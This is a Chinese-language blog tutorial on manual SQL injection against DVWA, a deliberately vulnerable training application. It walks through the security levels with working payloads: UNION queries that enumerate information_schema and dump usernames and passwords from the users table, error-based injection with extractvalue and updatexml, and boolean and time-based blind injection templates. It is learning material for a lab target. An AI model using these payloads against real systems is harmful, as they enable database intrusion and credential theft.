DVWA SQL注入 小技巧

it2025-10-19  7

文章目录

前言一、DVWA是什么?二、DVWA SQL注入1.LOW2.Medium3.High 三、 SQL漏洞利用1.查看列数2.列名排序3.联合查询(数据库 用户名丶表名丶版本)4.查询information_schema库5.查询表中的列6.查询列中数据 四丶SQL注入小技巧1.联合查询2.报错注入3.布尔盲注4.延时注入


前言

最近在学习网络安全,写这篇博客是为了分享技术丶学习参考,顺便也可以当笔记用,如果有什么地方说的不对,欢迎留言讨论,我会虚心学习的,那就让我们一起学习吧!


一、DVWA是什么?

如果你也刚刚接触网络安全,或者想学习网络安全,恰巧还没有可以入门学习的靶场,那么DVWA是一款非常适合你入门的的一个渗透测试演练系统。

二、DVWA SQL注入

1.LOW

提示:DVWA默认的账号为:admin 密码为:password 首先我们先要把安全等级,修改为Low 我们先输入1看会返回什么,可以看到网站给我们返回了ID丶First name和Surname 的值

SQL手工注入的第一步就是先输入’,这个单引号是很关键的,可以看到我们输入单引号后这个网站报错了,这个报错是我们的单引号被当做SQL语句执行了,这个报错就可以代表这个网站可以被SQL注入了。

报错:↓ 我们输入单引号的时候发现有回显,我们使用联合查询,查看数据库版本

' union select version(),null --

2.Medium

我们先点击1查看一下,会返回值

Medium等级我们就需要BP的帮助啦,首先我们先抓包,可以看到ID的后面是有值的,这个值正是我们刚才选择的1,我们判断这里有注入点 我们尝试注入一下,在id=1 后面输入sql语句,然后点击Forward

union select version(),null

可以看到网页里显示了服务器的版本信息,注入成功

3.High

我们先输入一个sql语句,看看页面有没有回显,可以看到页面有回显,我们可以尝试使用联合查询。

1 'and 1=1 --

我们使用联合查询发现可以看到版本信息注入成功!

'union sellect version(),null --

三、 SQL漏洞利用

我用LOW级别为例子。 我们输入SQL语句查看这个表有多少列。 提示:在–符号后面一定要加上加上空格,否则可能会出现问题。

1.查看列数

' order by 值 --

我先输入 ** ’ order by 3 --** ,尝试一下发现有报错,这个报错是因为这个表可能没有3个列,报错如下。 这次我们尝试一下 ’ order by 2 – ,发现页面没有变化,这个是对的,因为这个可以确认这个表的列为2,这样我们就得到了列数啦。 上面我们获取了列数为2,我们将列名排序

2.列名排序

'union select 1,2 --

这样我们就得到了列名的顺序啦。

3.联合查询(数据库 用户名丶表名丶版本)

' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --

32为空格58为:(冒号),CHAR(32,58,32)的意思就是将 用户名丶表名丶版本,用空格冒号空格 ,间隔开方便查看

4.查询information_schema库

' union select table_name,table_schema from information_schema.tables --

因为是级别LOW,说以我们可以访问information_schema,这个库里面包含着全部库的信息,可以看到DVWA的数据库的信息,这个users这个表是我们需要的,里面可能会有用户的信息

5.查询表中的列

' union select table_name,column_name from information_schema.columns where table_schema='数据库名' and table_name ='表名' --

我们输入 ’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name =‘users’ – 查看表中的列,可以看到users和password,这两个列可能存在敏感信息

6.查询列中数据

' union select null ,concat(列名,0x3a,列名) from 数据库.表名 --

我们输入 ’ union select null ,concat(user,0x3a,password) from dvwa.users – 可以看到我们获取到了用户的账号密码。

四丶SQL注入小技巧

1.如果有回显,考虑联合查询。 2.如果有报错,考虑报错注入。 3.如果有布尔类型状态,考虑布尔盲注。 4.如果以上办法还是找不出漏洞,考虑延时注入。

1.联合查询

当我们看到页面有回显的时候,可以考虑联合查询

查询数据库名称

' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --

2.报错注入

当我们看到页面会有报错信息的时候,我们可以考虑使用报错注入↓

'and(select extractvalue("anything",concat('^',(select语句)))) -- 'and(select updatexml("anything",concat('^,(select语句)),"anything")) --

输入显示版本

'and(select extractvalue("anything",concat('^',(version())))) --

3.布尔盲注

当我们看到页面有布尔类型状态的时候,我们可以考虑布尔盲注

判断数据库名长度

id=1'and length(database())>值 --

如果库名长度是正确的话,页面会正常显示

相反页面就会不显示值,这里要提示一下,页面报错和页面不显示值是两个问题!!

接下来就盲注库名

id=1' and ascii(substr(database(),盲测字符的位数,1))=ascii码值 --

DVWA数据库的第一位字符为d,d的ascii码值为100,所以页面显示正常,第一位字符盲注成功!

4.延时注入

延时注入也是我们没有办法的办法,延时注入也算是盲注的一种 盲注数据库名长度

id=1'and if(length(database())=值,sleep(3),1) --

如果盲注成功,我们可以可以看到页面沉睡了3049毫秒,也就是3秒多一点 盲注库名

and if(ascii(substr(database(),盲测字符的位数,1))=ascii码值,sleep(3),1)

这个操作与以上基本形同就不在演示了

最新回复(0)